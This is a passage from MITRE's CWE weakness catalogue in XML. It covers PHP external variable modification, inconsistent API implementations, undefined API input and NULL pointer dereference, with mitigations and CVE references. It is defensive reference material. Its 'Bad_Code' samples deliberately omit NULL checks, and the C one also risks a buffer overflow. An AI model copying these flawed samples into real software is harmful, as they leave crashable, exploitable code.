					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>98</Relationship_Target_ID>
					          <!--Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is a language-specific instance of Modification of Assumed-Immutable
						Data (MAID). This can be resultant from direct request (alternate path)
						issues. It can be primary to weaknesses such as PHP file inclusion, SQL
						injection, XSS, authentication bypass, and others.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully identify which variables can be controlled or influenced by
							an external user, and consider adopting a naming convention to emphasize
							when externally modifiable variables are being used. An application
							should be reluctant to trust variables that have been initialized
							outside of its trust boundary. Ensure adequate checking is performed
							when relying on input from outside a trust boundary. Do not allow your
							application to run with register_globals enabled. If you implement a
							register_globals emulator, be extremely careful of variable extraction,
							dynamic evaluation, and similar issues, since weaknesses in your
							emulation could allow external variable modification to take place even
							without register_globals.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0860</Observed_Example_Reference>
					          <Observed_Example_Description>File upload allows arbitrary file read by setting
						hidden form variables to match internal variable
						names.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0854</Observed_Example_Reference>
					          <Observed_Example_Description>Mistakenly trusts $PHP_SELF variable to determine
						if include script was called by its parent.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0764</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file inclusion by modified
						assumed-immutable variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1025</Observed_Example_Reference>
					          <Observed_Example_Description>Modify key variable when calling scripts that
						don't load a library that initializes it.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0754</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass by modifying array used for
						authentication.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>PHP External Variable Modification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>77</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="474" Name="Use of Function with Inconsistent Implementations" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The code uses a function that has inconsistent implementations
					across operating systems and versions, which might cause security-relevant
					portability problems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="C"/>
					          <Language Prevalence="Often" Language_Name="PHP"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The behavior of functions in this category varies by operating system, and
						at times, even by operating system version. Implementation differences can
						include:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>Slight differences in the way parameters are interpreted leading to
							inconsistent results.</Text>
						            <Text>Some implementations of the function carry significant security
							risks.</Text>
						            <Text>The function might not be defined on all platforms.</Text>
					          </Block>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not accept inconsistent behavior from the API specifications when
							the deviant behavior increase the risk level.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Inconsistent Implementations</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Inconsistent
						Implementations</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="475" Name="Undefined Behavior for Input to API" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The behavior of this function is undefined unless its control
					parameter is set to a specific value.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The Linux Standard Base Specification 2.0.1 for libc places constraints on
						the arguments to some internal functions [21]. If the constraints are not
						met, the behavior of the functions is not defined. It is unusual for this
						function to be called directly. It is almost always invoked through a macro
						defined in a system header file, and the macro ensures that the following
						constraints are met: The value 1 must be passed to the third parameter (the
						version number) of the following file system function: __xmknod The value 2
						must be passed to the third parameter (the group argument) of the following
						wide character string functions: __wcstod_internal __wcstof_internal
						__wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be
						passed as the first parameter (the version number) of the following file
						system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64
					</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Undefined Behavior</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Undefined
						Behavior</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="476" Name="NULL Pointer Dereference" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A NULL pointer dereference occurs when the application
					dereferences a pointer that it expects to be valid, but is NULL, typically
					causing a crash or exit.</Description_Summary>
				        <Extended_Description>
					          <Text>NULL pointer dereference issues can occur through a number of flaws,
						including race conditions, and simple programming omissions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>871</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>NULL pointer dereferences are frequently resultant from rarely
							encountered error conditions, since these are most likely to escape
							detection during the testing phases.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>NULL pointer dereferences usually result in the failure of the process
							unless exception handling (on some platforms) is available and
							implemented. Even when exception handling is being used, it can still be
							very difficult to return the software to a safe state of
							operation.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In very rare circumstances and environments, code execution is
							possible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-12">
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Identify error conditions that are not likely to occur during normal
							usage and trigger them. For example, run the program under low memory
							conditions, run with insufficient privileges or permissions, interrupt a
							transaction before it is completed, or disable connectivity to basic
							network services such as DNS. Monitor the software for any unexpected
							behavior. If you trigger an unhandled exception or similar error that
							was discovered and handled by the application's environment, it may
							still indicate unexpected conditions that were not handled by the
							application itself.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If all pointers that could have been modified are sanity-checked
							previous to use, nearly all NULL pointer dereferences can be
							prevented.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The choice could be made to use a language that is not susceptible to
							these issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Check the results of all functions that return a value and verify that
							the value is non-null before acting upon it.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Checking the return value of the function will typically be
							sufficient, however beware of race conditions (CWE-362) in a concurrent
							environment.</Text>
						            <Text>This solution does not handle the use of improperly initialized
							variables (CWE-665).</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Identify all variables and data stores that receive information from
							external sources, and apply input validation to make sure that they are
							only initialized to expected values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Explicitly initialize all your variables and other data stores, either
							during declaration or just before the first usage.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> While there are no complete fixes aside from conscientious
						programming, the following steps will go a long way to ensure that NULL
						pointer dereferences do not occur. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Mitigation_Code">
							              <Code>if (pointer1 != NULL) {</Code>
							              <Block>
								                <Comment>/* make use of pointer1 */</Comment>
								                <Comment>/* ... */</Comment>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If you are working with a multithreaded or otherwise asynchronous
							environment, ensure that proper locking APIs are used to lock before the
							if statement; and unlock when it has finished.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If an attacker provides an address that appears to be well-formed, but
							the address does not resolve to a hostname, then the call to
							gethostbyaddr() will return NULL. Since the code does not check the
							return value from gethostbyaddr (CWE-252), a NULL pointer dereference
							would then occur in the call to strcpy(). </Text>
						            <Text>Note that this example is also vulnerable to a buffer overflow (see
							CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code, the programmer assumes that the system always
						has a property named "cmd" defined. If an attacker can control the program's
						environment so that "cmd" is not defined, the program throws a NULL pointer
						exception when it attempts to call the trim() method.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String cmd = System.getProperty("cmd");</Code>
							              <Code>cmd = cmd.trim();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3274</Observed_Example_Reference>
					          <Observed_Example_Description>race condition causes a table to be corrupted if a
						timer activates while it is being modified, leading to resultant NULL
						dereference; also involves locking.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1912</Observed_Example_Reference>
					          <Observed_Example_Description>large number of packets leads to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0772</Observed_Example_Reference>
					          <Observed_Example_Description>packet with invalid error status value triggers
						NULL dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4895</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition for an argument value,
						possibly resulting in NULL dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3547</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition might allow resource to be
						released before operating on it, leading to NULL dereference
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3620</Observed_Example_Reference>
					          <Observed_Example_Description>chain: some unprivileged ioctls do not verify that
						a structure has been initialized before invocation, leading to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2698</Observed_Example_Reference>
					          <Observed_Example_Description>chain: IP and UDP layers each track the same value
						with different mechanisms that can get out of sync, possibly resulting in a
						NULL dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2692</Observed_Example_Reference>
					          <Observed_Example_Description>chain: uninitialized function pointers can be
						dereferenced allowing code execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0949</Observed_Example_Reference>
					          <Observed_Example_Description>chain: improper initialization of memory can lead
						to NULL dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3597</Observed_Example_Reference>
					          <Observed_Example_Description>chain: game server can access player data
						structures before initialization has happened leading to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5183</Observed_Example_Reference>
					          <Observed_Example_Description>chain: unchecked return value can lead to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0079</Observed_Example_Reference>
					          <Observed_Example_Description>SSL software allows remote attackers to cause a
						denial of service (crash) via a crafted SSL/TLS handshake that triggers a
						null dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0365</Observed_Example_Reference>
					          <Observed_Example_Description>Network monitor allows remote attackers to cause a
						denial of service (crash) via a malformed RADIUS packet that triggers a null
						dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1013</Observed_Example_Reference>
